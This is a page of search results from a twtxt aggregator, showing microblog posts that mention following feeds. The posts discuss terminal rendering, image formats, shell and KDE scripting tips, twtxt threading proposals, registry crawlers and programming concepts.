Searching txt.sour.is

Twts matching #follows.
Sort by: Newest, Oldest, Most Relevant

Something happened with the frame rate of terminal emulators lately. It looks like there’s a trend to run at a high framerate now? I’m not sure exactly. This can be seen in VTE-based terminals like my xiate or XTerm on Wayland. foot and st, on the other hand, are fine.

My shell prompt and cursor look like this:

$ █

When I keep Enter pressed, I expect to see several lines like so:

$
$
$
$
$
$
$ █

With the affected terminal emulators, the lines actually show up in the following sequence. First, we have the original line:

$ █

Pressing Enter yields this as the next frame:

$
█

And then eventually this:

$
$ █

In other words, you can see the cursor jumping around very quickly, all the time.

Another example: Vim actually shows which key you just pressed in the bottom right corner. Keeping j pressed to scroll through a file means I get to see a j flashing rapidly now.

(I have no idea yet, why exactly XTerm in X11 is fine but flickering in Wayland.)

⤋ Read More
In-reply-to » The lack of suckless-like simple, hackable software these days is appalling.

@prologic@twtxt.net Yeah, this really could use a proper definition or a “manifest”. 😅 Many of these ideas are not very wide spread. And I haven’t come across similar projects in all these years.

Let’s take the farbfeld image format as an example again. I think this captures the “spirit” quite well, because this isn’t even about code.

This is the entire farbfeld spec:

farbfeld is a lossless image format which is easy to parse, pipe and compress. It has the following format:

╔════════╤═════════════════════════════════════════════════════════╗
║ Bytes  │ Description                                             ║
╠════════╪═════════════════════════════════════════════════════════╣
║ 8      │ "farbfeld" magic value                                  ║
╟────────┼─────────────────────────────────────────────────────────╢
║ 4      │ 32-Bit BE unsigned integer (width)                      ║
╟────────┼─────────────────────────────────────────────────────────╢
║ 4      │ 32-Bit BE unsigned integer (height)                     ║
╟────────┼─────────────────────────────────────────────────────────╢
║ [2222] │ 4x16-Bit BE unsigned integers [RGBA] / pixel, row-major ║
╚════════╧═════════════════════════════════════════════════════════╝

The RGB-data should be sRGB for best interoperability and not alpha-premultiplied.

(Now, I don’t know if your screen reader can work with this. Let me know if it doesn’t.)

I think these are some of the properties worth mentioning:

  • The spec is extremely short. You can read this in under a minute and fully understand it. That alone is gold.
  • There are no “knobs”: It’s just a single version, it’s not like there’s also an 8-bit color depth version and one for 16-bit and one for extra large images and one that supports layers and so on. This makes it much easier to implement a fully compliant program.
  • Despite being so simple, it’s useful. I’ve used it in various programs, like my window manager, my status bars, some toy programs like “tuxeyes” (an Xeyes variant), or Advent of Code.
  • The format does not include compression because it doesn’t need to. Just use something like bzip2 to get file sizes similar to PNG.
  • It doesn’t cover every use case under the sun, but it does cover the most important ones (imho). They have discussed using something other than RGBA and decided it’s not worth the trouble.
  • They refrained from adding extra baggage like metadata. It would have needlessly complicated things.

⤋ Read More
In-reply-to » OH, FUCK ME DEAD! On the way home from today's walk I saw easily 800 fireflies! Yes, over eight hundred! That was absolutely amazing. First time this year and already this many. Crazy! They were just fricking everywhere in the entire forest. I counted to one hundred and then stopped. The darker it got, the more fireflies came out and glowed around. :-) There were spots where in under ten seconds I counted 20 glowworms. Super sick. Soooo beautiful. <3

@movq@www.uninformativ.de Oh, really!? You should come visit. :-)

As far as I know females are sitting in the shrubs and males fly around, but they’re not all that quick. They are slowly moving glowing dots that you can easily follow with your eyes. The bigger problem might be that they turn off and then on again. So, one could count duplicates. However, there’s typically a bit of distance between them (at least 30-50 cm I’d say, often more). Counting the same individual multiple times is not all that common (assuming that they don’t speed up when turned off). My counting was also conservative I believe.

Ah, Die Maus also covered them a few days ago: https://www.youtube.com/watch?v=OVGD5QEvtoc At the end, there’s a video were you can see the speeds a bit.

⤋ Read More
In-reply-to » FFS! Can't I just get results, accurate no BS results? No erroneous/misleading AI-Slop of a summary I've never asked for ? I get it, there is plenty of people who LOooove (if not worship) that shit, Good for them! But at least make it opt-in or add in some kind of "Do Not Slop" browser option (as if the "Do Not Track" one made a difference, but I digress). Shit's only going down-hill from here, I might as well as just spin up my own Searx instance and call it a day.

@kat@yarn.girlonthemoon.xyz I recommend you to remain curious without crossing the threshold. Unless, of course, you truly want to follow a never-ending rabbit hole. 😂

⤋ Read More
In-reply-to » Gopher server is back online and I’ll be phasing out Mastodon.

@bender@twtxt.net Both Gopher and Mastodon are a way for me to “babble”. 😅 I basically shut down Gopher in favor of Mastodon/Fedi last year. But the Fediverse doesn’t really work for me. It’s too focused on people (I prefer topics) and I dislike the addictive nature of likes and boosts (I’m not disciplined enough to ignore them). Self-hosting some Fedi thing is also out of the question (the minimalistic daemons don’t really support following hashtags, which is a must-have for me).

I’ll probably keep reading Fedi stuff, I just won’t post that much, I think.

⤋ Read More

Of Pointlessware and CEOs
Had a moment, to check up on some of the companies, I stopped following, get to The Browser Company and see their newest product - it’s just Chrome, with an AI chat window pop-up and that’s it. Something Canary Chrome, come with already.
I see Theo from T3.gg, making fun of it on YouTube and promoting “his” product - an AI chat app, where you can choose from multiple models, by all the popular AI companies. Something I already have a worse version of, at work and I don’t even use it.
There’s also an interview, about the future of virtual keyboards, surely this is at least actually a real thing and not more pointless horse shit. I check the website of the keyboard SDK, and it’s around 20 identical apps, that just copy the same keyboard SDK/api and slap chatgpt features on top - in the App Store, these are surrounded by chatgpt clones, that just feed the users prompts, into the real thing and put ads, next to the answers.

⤋ Read More

hey @prologic@twtxt.net heads up - my pod is suddenly having weird 400 bad request errors on things like posting twts, new user registration, following, and more. it’s not just me because a friend is also having these issues as a new user and can’t post. i saw one exception in the logs but i’m not sure if it’s related, i’ll link it in a reply to this

⤋ Read More

To follow up what I said minutes ago, they don’t even want you to think of the initial idea, they want you to be a mindless organism, the AI algorithm analyses and tells what you should make, down to the script, so that you get the highest number of people possible to click it and see some AI generated advertisement, blended seemly into what’s no lonher even your work.
https://arstechnica.com/gadgets/2025/05/netflix-will-show-generative-ai-ads-midway-through-streams-in-2026/
https://youtu.be/dGA6sVaGveU

⤋ Read More
In-reply-to » @kat my terrible script https://bytes.4-walls.net/kat/dotfiles/src/branch/main/scripts/Scripts/tinypin-log.sh

@kat@yarn.girlonthemoon.xyz You don’t need to change the directory first in line 11, you can just create the directory, that’s sufficient since you’re having an absolute path.

The echo in line 13 is useless, you can simplify this to: newdir="$WD/$now" If you reversed this line with the previous one, you could make use of the variable in the directory creation: mkdir "$newdir".

In line 16, pull the directory change out of the loop upfront. The loop body doesn’t modify the working directory, so no need to reset it with each cycle. In fact, you could even spare the cd altogether when you simply tell find where to look: find "$basedir" -type f….

I didn’t try it, but if I read the manpage correctly, you should be able to simplify line 19 as well:

-C Change to DIR before performing any operations. This option is order-sensitive, i.e. it affects all options that follow.

Hence, remove the cd and put the -C "$WD" as the first argument to tar. Again, I didn’t try it. Proceed with caution.

Finally, you don’t need to specify the full path to rm in line 21. I bet, /bin is in your PATH. When you removed the previous cd from my last suggestion, the relative path that follows won’t work anymore. So, just use the absolute path that you already have in a variable: rm -rf "$newdir"

I hope you find this tiny review a wee bit useful. :-)

⤋ Read More
In-reply-to » Going to try and few up a few more UX bugs today with yarnd.

Hopefully I haven’t missed or messed anything upu 😅

* 101f3eb0 - (HEAD -> main) Fix a bunch of UX to do with following/unfollowing, bookmarking and unbookmarking (3 seconds ago) <James Mills>

Testing UI/UX is hard™ 😉

⤋ Read More
In-reply-to » @movq "topic-based forums/groups", you mean what USENET used to be, and the "niche" that Reddit is fulfilling these days? :-D I get it, I agree. I think I find twtxt more fulfilling than anything else because of its small size. I feel like I truly know everyone (even if that might not be true), and find myself "at home". The bigger the place, the shyest I become, the less enticing it is.

@quark@ferengi.one Despite the Reddit part (I never understood it), this is a great analysis. I could not have put it any better. I also feel quite home here with the all feeds I follow. It’s a small bunch of good people.

⤋ Read More

Confession:

I’ve never found microblogging like twtxt or the Fediverse or any other “modern” social media to be truly fulfilling/satisfying.

The reason is that it is focused so much on people. You follow this or that person, everybody spends time making a nice profile page, the posts are all very “ego-centric”. Seriously, it feels like everybody is on an ego-trip all the time (this is much worse on the Fediverse, not so much here on twtxt).

I miss the days of topic-based forums/groups. A Linux forum here, a forum about programming there, another one about a certain game. Stuff like that. That was really great – and it didn’t even suffer from the need to federate.

Sadly, most of these forums are dead now. Especially the nerds spend a lot of time on the Fediverse now and have abandoned forums almost completely.

On Mastodon, you can follow hashtags, which somewhat emulates a topic-based experience. But it’s not that great and the protocol isn’t meant to be used that way (just read the snac2 docs on this issue). And the concept of “likes” has eliminated lots of the actual user interaction. ☹️

⤋ Read More

The main reason I named my new pet machine Ephemera, is because I don’t trust SSD/NVMe’s … it’s always just a matter of time before everything goes to sh…rimps.

”`
$ mail

[…]

The following warning/error was logged by the smartd daemon:

Device: /dev/nvme0, number of Error Log entries increased from 1587 to 1590

[…]
”“`

⤋ Read More
In-reply-to » Finally I propose that we increase the Twt Hash length from 7 to 12 and use the first 12 characters of the base32 encoded blake2b hash. This will solve two problems, the fact that all hashes today either end in q or a (oops) 😅 And increasing the Twt Hash size will ensure that we never run into the chance of collision for ions to come. Chances of a 50% collision with 64 bits / 12 characters is roughly ~12.44B Twts. That ought to be enough! -- I also propose that we modify all our clients and make this change from the 1st July 2025, which will be Yarn.social's 5th birthday and 5 years since I started this whole project and endeavour! 😱 #Twtxt #Update

just for the record I didn’t say I was leaving the twtxt ‘community’ (did I?) but than I have other priorities to focus on in the following months. Please don’t be condescending, is not cool.

Development of Timeline (PHP client) has been stale for some reasons, a few of them in my side, so I think it won’t be updated to the new thread model, at least pretty soon.
So is not that I’ll stop using twtxt, just the client I use won’t be compatible with the new model in July.

⤋ Read More
In-reply-to » If we must stick to hashes for threading, can we maybe make it mandatory to always include a reference to the original twt URL when writing replies?

@movq@www.uninformativ.de If we’re focusing on solving the “missing roots” problems. I would start to think about “client recommendations”. The first recommendation would be:

  1. Replying to a Twt that has no initial Subject must itself have a Subject of the form (hash; url).

This way it’s a hint to fetching clients that follow B, but not A (in the case of no mentions) that the Subject/Root might (very likely) is in the feed url.

⤋ Read More

If we must stick to hashes for threading, can we maybe make it mandatory to always include a reference to the original twt URL when writing replies?

Instead of

(<a href="https://txt.sour.is/search?q=%23123467">#123467</a>) hello foo bar

you would have

(<a href="https://txt.sour.is/search?q=%23123467">#123467</a> http://foo.com/tw.txt) hello foo bar

or maybe even:

(<a href="https://txt.sour.is/search?q=%23123467">#123467</a> 2025-04-30T12:30:31Z http://foo.com/tw.txt) hello foo bar

This would greatly help in reconstructing broken threads, since hashes are obviously unfortunately one-way tickets. The URL/timestamp would not be used for threading, just for discovery of feeds that you don’t already follow.

I don’t insist on including the timestamp, but having some idea which feed we’re talking about would help a lot.

⤋ Read More
In-reply-to » @prologic Can you please draft up a specification for that proposed change with all the details? Such as which date do you actually refer to? Is it now() or the message's creation timestamp? I reckon the latter is the case, but it's undefined right now. Then we can discuss and potentially tweak the proposal.

@bender@twtxt.net Hehehe! :-D

@movq@www.uninformativ.de I have to admit, I didn’t follow the topic very closely, but I was under the impression that there were more votes on location-based addressing. But maybe I’m completely wrong. Anyway. I don’t have the energy to be part of a fundamental debate.

⤋ Read More

I just fixed a bug in tt’s reply to parent feature. Previously, when the message tree looked like the following

Message
├╴Reply 1
│ └╴Subreply
└╴Reply 2

and “Reply 2” was selected, pressing A to reply to the parent should have picked “Message”. However, a reply to “Reply 2” was composed instead. The reason was a precausiously introduced safety guard to abort the parent search which stopped at “Subreply”, because its subject didn’t match “Reply 2”’s. It was originally intended to abort on a completely different message conversation root. Just in case. Turns out that this thoght was flawed.

Fixing bugs by only removing code is always cool. :-)

⤋ Read More

Interesting factoid… By inspecting my “followers” list every now and again, I can tell who uses a client like jenny, tt or any other client where fetches are driven by user interactions of invoking the app. What do we call this type of client? Hmmm 🤔 Then I can tell who uses yarnd because they are “seen” more frequently 🤣

⤋ Read More
In-reply-to » @andros One thing I really liked about the hacker news rss feeds is the link to the comments. Reckon you can add that to the feed? 🤔

Here’s an example of what you end up with (I don’t follow the feed, but it’s in my pod’s cache)

⤋ Read More
In-reply-to » @xuu or @kat Do either of you have time this weekend to test upgrading your pod to the new cacher branch? 🤔 It is recommended you take a full backup of you pod beforehand, just in case. Keen to get this branch merged and to cut a new release finally after >2 years 🤣

@prologic@twtxt.net i can give it a try MAYBE, i’ve been super busy and all over the place but i will put it on my task list to try to remember! do you have upgrade/migration instructions anywhere that i can follow?

⤋ Read More
In-reply-to » Btw @andros ; The automated feed you put together for Hacker News... Does it at any point rewrite parts of the feed as it goes along? 🤔 I've had to unfollow it because I've found in practise it makes a twt, then seems to modify that same twt (observed by content manually) at least twice. This ends up becoming effectively an "Edit" and essentially duplicate (looking) posts 😢

@prologic@twtxt.net @andros@twtxt.andros.dev You can delete these feeds (created by me):
https://feeds.twtxt.net/project26/twtxt.txt
https://lor.sh/@Katze_942.rss <- i’m added him but can’t find file
the only rss i follow is https://feeds.twtxt.net/posts-from-atdarkcat09atdc09-ru/twtxt.txt

⤋ Read More
In-reply-to » Btw @andros ; The automated feed you put together for Hacker News... Does it at any point rewrite parts of the feed as it goes along? 🤔 I've had to unfollow it because I've found in practise it makes a twt, then seems to modify that same twt (observed by content manually) at least twice. This ends up becoming effectively an "Edit" and essentially duplicate (looking) posts 😢

@andros@twtxt.andros.dev Ahh cool! I’ll try following it again 🤣 Mind @-mentioning/linking@twtxt.net the feed again? 🙏

⤋ Read More
In-reply-to » 💡 I had this crazy idea (or is it?) last night while thinking about Twtxt and Yarn.social 😅 There are two things I think that could be really useful additions to the yarnd UI/UX experience (for those that use it) and as "client" features (not spec changes). The two ideas are quite simple:

I’d have to write i up in full, but essentially looks a bit like this (contribived examples follow)…

⤋ Read More
In-reply-to » AI isn’t a shortcut for thinking. In her guide for skeptics, Hilary Gridley reframes AI as a collaborator—not a replacement. Use it like spellcheck for your thoughts. Don’t fear it—iterate with it. Insight improves, speed follows. Full post: https://hils.substack.com/p/the-ai-skeptics-guide-to-ai-collaboration

@prologic@twtxt.net Since you have to check and double check everything it spits out (without providing sources), I don’t find any of this helpful. It’s like someone’s in the room with you and that person is saying random stuff that might or might not be correct. At best, it might spark some new idea in your head and then you follow that idea the traditional way.

Information published on the internet (or anywhere, for that matter) was never guaranteed to be correct. But at least you had a “frame of reference”: “Ah, I read this information about Linux on a blog that usually posts about Windows, so this one single Linux post might not necessarily be correct.” That is completely lost with LLMs. It’s literally all mushed together. 🤷

⤋ Read More
In-reply-to » @andros maybe create a separate, completely distinct feed for DM? That way, clients do not need to do anything, only those wanted to "talk in private" follow themselves, using their very special dm-only.txt feeds. 😂

@andros@twtxt.andros.dev define “compatible” 😅. On the “not addressed to me”, if I follow you, I will see your twtxts, whether they are addressed to me, or not.

⤋ Read More

Even though I really do like the shell, I always use Dolphin to mount my digicam SD card and copy the photos onto my computer. I finally added a context menu item in Dolphin to create a forest stroll directory with the current date in order to save some typing:

Image

The following goes in ~/.local/share/kservices5/ServiceMenus/galmkdir.desktop:

[Desktop Entry]
Type=Service
X-KDE-ServiceTypes=KonqPopupMenu/Plugin,inode/directory
Actions=Waldspaziergang;

[Desktop Action Waldspaziergang]
Name=Heutigen Waldspaziergang anlegen…
Icon=folder-green
Exec=~/src/gelbariab/galmkdir "%f"

In order to update the KDE desktop cache and make this action menu item available in Dolphin, I ran:

kbuildsycoca5

The referenced galmkdir script looks like that:

#!/bin/sh
set -e

current_dir="$1"
if [ -z "$current_dir" ]; then
    echo "Usage: $0 DIRECTORY" >&2
    exit 1
fi

dir="$(kdialog \
    --geometry 350x50 \
    --title "Heutigen Waldspaziergang anlegen" \
    --inputbox "Neues Verzeichnis in „$current_dir“ anlegen:" \
    "waldspaziergang-$(date +%Y-%m-%d)")"
mkdir "$current_dir/$dir"
dolphin "$current_dir/$dir"

This solution is far from perfect, though. Ideally, I’d love to have it in the “Create New” menu instead of the “Actions” menu. But that doesn’t really work. I cannot define a default directory name, not to mention even a dynamic one with the current date. (I would have to update the .desktop file every day or so.) I also failed to create an empty directory. I somehow managed to create a directory with some other templates in it for some reason I do not really understand.

Let’s see how that works out in the next days. If I like it, I might define a few more default directory names.

⤋ Read More
In-reply-to » @eapl.me When it is up and running, I promise to add it to the specification. I will also include some corrections. The nature of twtxt does not allow us to selectively hide clients. It's a problem not with DM, but with any extension. @prologic Yes, it is a security hole. All dm-echo messages are readable. I intend it to be a debugging tool. Maybe I can include a warning message. If many of you see that it is a serious problem, I can remove the links. @xuu It's already much better than Mastodon :P . Maybe we can remove the sender and receiver references with an intermediary register.

@andros@twtxt.andros.dev maybe create a separate, completely distinct feed for DM? That way, clients do not need to do anything, only those wanted to “talk in private” follow themselves, using their very special dm-only.txt feeds. 😂

⤋ Read More
In-reply-to » @eapl.me You asked me for private keys for testing purposes. I have added it to the bottom of this page: https://dm-echo.andros.dev/ It will soon be running. It won't be long now.

well, I suggested that in https://eapl.me/timeline/conv/k2ob6bq

The idea was to help those following the spec in https://twtxt.dev/exts/directmessage.Html, to replicate the steps and validate whether your implementation gives the same result.

BTW, you could add a link to the spec in the echo web.

⤋ Read More
In-reply-to » @kate @eldersnake @abucci -- I've already spoken to @xuu on IRC about this, but the new SqliteCache backend I'm working on here, what are your thoughts regarding mgirations from old MemoryCache (which is now gone in the codebase in this branch). Do you care to migrate at all, or just let the pod re-fetch all feeds? 🤔

@abucci@anthony.buc.ci Apologies, the basic summary is as follows:

  • Decided to rewrite the cache backend.
  • It will now be a SQLite backend going forward.
  • I’m planning on no data migration.

⤋ Read More
In-reply-to » i wonder why my replies to people and sometimes myself come out as @@example.com where the first

@kat@yarn.girlonthemoon.xyz I think it happens if you don’t follow them. Replies used to be broken if so, but not sure if @prologic@twtxt.net ever fixed that. I used not to follow him, so that he would see the broken mentions, and feel shame (he didn’t, he is shameless! LOL), but ever since the re-creation of my account I just decided to follow, so I don’t know if the issue is fixed or not.

I know mentioning @xuu@txt.sour.isdoesnm.p.psf.lt was broken too. Maybe still is? We’ll see.

⤋ Read More
In-reply-to » Oh well. I've gone and done it again! This time I've lost 4 months of data because for some reason I've been busy and haven't been taking backups of all the things I should be?! 🤔 Farrrrk 🤬

@prologic@twtxt.net I wonder what this will do to my followers list. I suspect there were a lot of dead accounts out there. 😅

⤋ Read More

@thecanine@twtxt.net My apologies, mate! :-( As @david@collantes.us pointed out, this was definitely not my intent at all.

For the easter egg hunt, I first looked for a hidden image map link on the pixel dog in the right lower corner itself. Maybe one giant pixel just links to somewhere else, I figured. But I couldn’t find any and then quickly moved on. Hence, I naturally viewed the HTML source. Because where else would be a good hiding place for easter eggs, right?

Next, I noticed the <font> tags. I thought I had read quite some time ago that they are not an HTML5 thing, but wasn’t entirely sure about it. So, I asked the W3C HTML validator. Sure enough. I thought I let you know about the violations. If somebody had found a mistake on my site, I’d love to hear about it, so I could fix it. I’m sorry that my chosen form of report didn’t resonate with you all that well. I reckoned you’ll also find it a bit funny, but I was clearly very wrong on that.

I actually followed the dog cow link to the video, so I ended up on the easter egg. However, I didn’t recognize it as such. ¯_(ツ)_/¯ Oh well.

Regarding my message about the browser quirks: I read your answer that you were arguing against the HTML validator findings. Of course, everybody can do with their sites whatever they likes.

⤋ Read More
In-reply-to » Hi, So i made a little MVP registry crawler tool for twtxt. It now has a basic UI to play with. It has a somewhat full history back to about 2018-ish. Plus some interesting bits that were timestamped to earlier.

it adds users by finding them in feeds mentioning or following. Your URL is already added.

Hmm i am not sure how you got the URL with users at the end..

⤋ Read More
In-reply-to » Hi, So i made a little MVP registry crawler tool for twtxt. It now has a basic UI to play with. It has a somewhat full history back to about 2018-ish. Plus some interesting bits that were timestamped to earlier.

yep, it looks nice! How could add my URL?
Is it following the same endpoints than https://registry.twtxt.org/swagger-ui/#/users/addUser ?

BTW, I think that the usage section has a wrong base URL or something.

For example if you enter here: https://watcher.sour.is/conv/4rx5iyq
It says to look for this URL: https://watcher.sour.is/conv/4rx5iyq/api/plain/users

Which seems to return the content from https://watcher.sour.is

⤋ Read More
In-reply-to » Twtxt was made for nerds, by nerds. I'd like to change that. It's by nerds/hackers, for nerds/hackers and friends of these. It doesn't have to be hacky all the time, as you don't need to be a nerd to have a blog. But, for that to happen, someone has to build the tools to improve UX.

thanks for sharing @xuu@txt.sour.is!

Checking for example https://watcher.sour.is/api/plain/twt or https://registry.twtxt.org/api/plain/tweets, I don’t know whether this syntax is being used by clients or by people. Is it integrated on Yarn in any way? Genuinely asking to know more about it.

If I might throw a quick thought to those working on the registries, it would be nice to have an endpoint with a valid twtxt output (perhaps cached or dumped to a static file) which a client could point to, helping to discover it’s content in a way which is compatible with the twtxt spec.

Taking the first twt I found in https://watcher.sour.is/api/plain/twt as an example:
reddit_world_news https://feeds.twtxt.net/Reddit_World_News/twtxt.txt 2025-03-28T00:29:25Z **China bans US logs. 3 billion dollar[...])
it would be something like
TIME <@NICK URL> TWT
2025-03-28T00:29:25Z <@reddit_world_news https://feeds.twtxt.net/Reddit_World_News/twtxt.txt> **China bans US logs. 3 billion dollar[...])

That way you could watch the latest twts with your client, something similar to what we find on Mastodon: https://mastodon.online/public/local

Some support from the clients to separate these ‘discovery’ content, from your following timeline might be required. 🤔

⤋ Read More
In-reply-to » Twtxt was made for nerds, by nerds. I'd like to change that. It's by nerds/hackers, for nerds/hackers and friends of these. It doesn't have to be hacky all the time, as you don't need to be a nerd to have a blog. But, for that to happen, someone has to build the tools to improve UX.

@eapl.me@eapl.me I am currently working on Implementing a registry that is also a crawler. It finds any feeds that are mentioned or in the follows header.

https://watcher.sour.is/api/plain/twt

https://watcher.sour.is/api/plain/users

I think @prologic@twtxt.net is also working on one.

⤋ Read More

For anyone following the proposals to improve replies and threads in twtxt, the voting period has started and will be open for a week.
https://eapl.me/rfc0001/

Please share the link with the twtxt community, and leave your vote on your preferred proposals, which will be used to gauge the perceived benefits.

Also, the conversation is open to discuss implementation concerns or anything aimed at making twtxt better.

⤋ Read More
In-reply-to » @bender I taught the whole ecosystem 😁 @prologic @eapl.me The question I was asked the most was: How do I discover people? Someone came up with a fantastic idea, instead of adding the new twt at the end of the feed, do it at the beginning. So you can paginate by cutting the request every few lines.

Twtxt was made for nerds, by nerds.
I’d like to change that. It’s by nerds/hackers, for nerds/hackers and friends of these. It doesn’t have to be hacky all the time, as you don’t need to be a nerd to have a blog.
But, for that to happen, someone has to build the tools to improve UX.

by design there really is no way to easily discovers others
Yeah, I agree, and although there are directories of email addresses, usually you don’t want that, unless you are a ‘public figure’.
I couldn’t say that a microblogging is a “social network” by default, as a blog is not either. At the same time, people would expect to find new people and conversations, as you’d do in a forum.

I think of two features on top of the current spec:

  • Clients showing a few posts of what your following are watching but you don’t, so perhaps you find something interesting to follow next. Or that feature of “Your ‘followings’ are following these accounts/people”. (Hard to explain in english, but I hope you get the idea)
  • Sharing your .txt into some directory, saying “Hey, I have this twtxt URL, I want to be discovered”. I’m thinking of something like the Federated tab on Mastodon.

⤋ Read More
In-reply-to » I think I should try self-hosting some Mastodon thingy again.

@prologic@twtxt.net In all seriousness: Don’t worry, I’m not going to host some Fediverse thingy at the moment, probably never will. 😅

But I do use it quite a lot. Although, I don’t really use it as a social network (as in: following people). I follow some tags like #retrocomputing, which fills my timeline with interesting content. If there was a traditional web forum or mailing list or even a usenet group that covered this topic, I’d use that instead. But that’s all (mostly) dead by now. ☹️

⤋ Read More
In-reply-to » I now subscribed to most feeds in my Go tt reimplementation that I already followed with the old Python tt. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I "dropped" heaps of feeds that appeared to be inactive.

neat! my watcher is currently sitting at about 75 MB following over 1500 feeds. only about 200 are currently somewhat active.

-rw-r--r--. 1 xuu  xuu   69M Mar 25 20:46 twt.db
-rw-r--r--. 1 xuu  xuu   32K Mar 25 21:34 twt.db-shm
-rw-r--r--. 1 xuu  xuu  5.6M Mar 25 21:34 twt.db-wal
sqlite> select state, count(*) n from feeds group by 1;
hot|7
warm|8
cold|183
frozen|743
permanantly-dead|857

⤋ Read More

I now subscribed to most feeds in my Go tt reimplementation that I already followed with the old Python tt. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I “dropped” heaps of feeds that appeared to be inactive.

This might motivate me to actually “finish” the new client, so that it could become my daily driver. No need to use the old software stack any longer. Let’s see how bad this goes.

⤋ Read More
In-reply-to » i really wanna learn golang it looks fun and capable and i can read it kind of but every time i try it i'm immediately stuck on basic concepts like "what the fuck is a pointer" (this has been explained to me and i still don't get it). i did have types explained to me as like notes on code which makes sense a bit but i'm mostly lost on basic code concepts

@kat@yarn.girlonthemoon.xyz Pointers can be a bit tricky. I know it took me also quite some time to wrap my head around them. Let my try to explain. It’s a pretty simple, yet very powerful concept with many facets to it.

A pointer is an indirection. At a lower level, when you have some chunk of memory, you can have some actual values sitting in there, ready for direct use. A pointer, on the other hand, points to some other location where to look for the values one’s actually after. Following that pointer is also called dereferencing the pointer.

I can’t come up with a good real-world example, so this poor comparison has to do. It’s a bit like you have a book (the real value that is being pointed to) and an ISBN referencing that book (the pointer). So, instead of sending you all these many pages from that book, I could give you just a small tag containing the ISBN. With that small piece of information, you’re able to locate the book. Probably a copy of that book and that’s where this analogy falls apart.

In contrast to that flawed comparision, it’s actually the other way around. Many different pointers can point to the same value. But there are many books (values) and just one ISBN (pointer).

The pointer’s target might actually be another pointer. You typically then would follow both of them. There are no limits on how long your pointer chains can become.

One important property of pointers is that they can also point into nothingness, signalling a dead end. This is typically called a null pointer. Following such a null pointer calls for big trouble, it typically crashes your program. Hence, you must never follow any null pointer.

Pointers are important for example in linked lists, trees or graphs. Let’s look at a doubly linked list. One entry could be a triple consisting of (actual value, pointer to next entry, pointer to previous entry).

  _______________________
 /               ________\_______________
↓               ↓         |              \
+---+---+---+   +---+---+-|-+   +---+---+-|-+
| 7 | n | x |   | 23| n | p |   | 42| x | p |
+---+-|-+---+   +---+-|-+---+   +---+---+---+
      |         ↑     |         ↑
       \_______/       \_______/

The “x” indicates a null pointer. So, the first element of the doubly linked list with value 7 does not have any reference to a previous element. The same is true for the next element pointer in the last element with value 42.

In the middle element with value 23, both pointers to the next (labeled “n”) and previous (labeled “p”) elements are pointing to the respective elements.

You can also see that the middle element is pointed to by two pointers. By the “next” pointer in the first element and the “previous” pointer in the last element.

That’s it for now. There are heaps ;-) more things to tell about pointers. But it might help you a tiny bit.

⤋ Read More

I always find the ‘Adven of code’ challenges difficult to follow.
i18n-puzzles.com has been a blast, but I don’t like having to think about puzzles on weekends. Like with exercise, doing it every day without rest doesn’t sound healthy.

I’d rater have a weekly challenge, at most three.

⤋ Read More

Hi! For anyone following the Request for Comments on an improved syntax for replies and threads, I’ve made a comparative spreadsheet with the 4 proposals so far. It shows a syntax example, and top pros and cons I’ve found:
https://docs.google.com/spreadsheets/d/1KOUqJ2rNl_jZ4KBVTsR-4QmG1zAdKNo7QXJS1uogQVo/edit?gid=0#gid=0

Feel free to propose another collaborative platform (for those without a G account), and also share your comments and analysis in the spreadsheet or in Gitea.

⤋ Read More

What is twtxt for me? It is a community of users sharing plain text following a specification that can be readable by both humans and machines.

For some it is a microblogging platform, for others it is a social network, others see it as an enhanced RSS feed and a few consider it a hacker’s toy. I use it as a learning platform. And as collateral damage, I’m meeting some very interesting people.

And for you?

⤋ Read More

@prologic@twtxt.net We can’t agree on this idea because that makes things even more complicated than it already is today. The beauty of twtxt is, you put one file on your server, done. One. Not five million. Granted, there might be archive feeds, so it might be already a bit more, but still faaaaaaar less than one file per message.

Also, you would need to host not your own hash files, but everybody else’s as well you follow. Otherwise, what is that supposed to achieve? If people are already following my feed, they know what hashes I have, so this is to no use of them (unless they want to look up a message from an archive feed and don’t process them). But the far more common scenario is that an unknown hash originates from a feed that they have not subscribed to.

Additionally, yarnd’s URL schema would then also break, because https://twtxt.net/twt/<hash> now becomes https://twtxt.net/user/prologic/<hash>, https://twtxt.net/user/bender/<hash> and so on. To me, that looks like you would only get hashes if they belonged to this particular user. Of course, you could define rules that if there is a /user/ part in the path, then use a different URL, but this complicates things even more.

Sorry, I don’t like that idea.

⤋ Read More
In-reply-to » @eapl.me There are several points that I like, but I want to highlight number 7. https://text.eapl.mx/a-few-ideas-for-a-next-twtxt-version #twtxt

looks good to me!

About alice’s hash, using SHA256, I get 96473b4f or 96473B4F for the last 8 characters. I’ll add it as an implementation example.
The idea of including it besides the follow URL is to avoid calculating it every time we load the file (assuming the client did that correctly), and helps to track replies across the file with a simple search.

Also, watching your example I’m thinking now that instead of {url=96473B4F,id=1} which is ambiguous of which URL we are referring to, it could be something like:
{reply_to=[URL_HASH]_[TWT_ID]} / {reply_to=96473B4F_1}
That way, the ‘full twt ID’ could be 96473B4F_1.

⤋ Read More
In-reply-to » This document is the result of a series of discussions between Robert "Uncle Bob" Martin and John Ousterhout, held between September 2024 and February 2025. The text addresses three main topics: method length, comments, and Test Driven Development (TDD). https://github.com/johnousterhout/aposd-vs-clean-code/blob/main/README.md This is something to read and reflect on for days.

@andros@twtxt.andros.dev Just before the pandemic, we watched Uncle Bob videos once a week in the lunch break. While almost all of my old teammates agreed with his views, I partially found them to be very odd and even counterproductive.

I didn’t come across John Ousterhout or any of his work before, at least not deliberately. So, this document is my first contact.

I only finished the chapter on comments and I totally agree with John so far. This document just manifests to me how weird Bob’s view is on certain subjects.

I always disagreed with the concept of a maximum method length. Sure, generally, shorter functions are probably better, but it always depends. And I’ve certainly seen super short methods that just made the code flow even worse to follow. While “one function should only do one thing” is a nice general rule, I’m 100% in team John with the shown examples. There are cases, where this doesn’t help readability at all. Not even close.

To me, a function always has to justify its existence. Either by reusing it at least at another place or by coming up with dedicated tests for it. But if it is just called once and there are no tests, I almost always decide against it. Personally, I don’t mind longer methods. We just recently had a discussion about that and I lost against two other workmates who are more in Uncle Bob’s camp, they refactored one medium sized method into three very short ones. Luckily, we agree on most other topics.

Lol, what!? The shorter the method, the longer the variables inside? I first thought I misread or the writeup mixed it up. I’ll always do it the other way around.

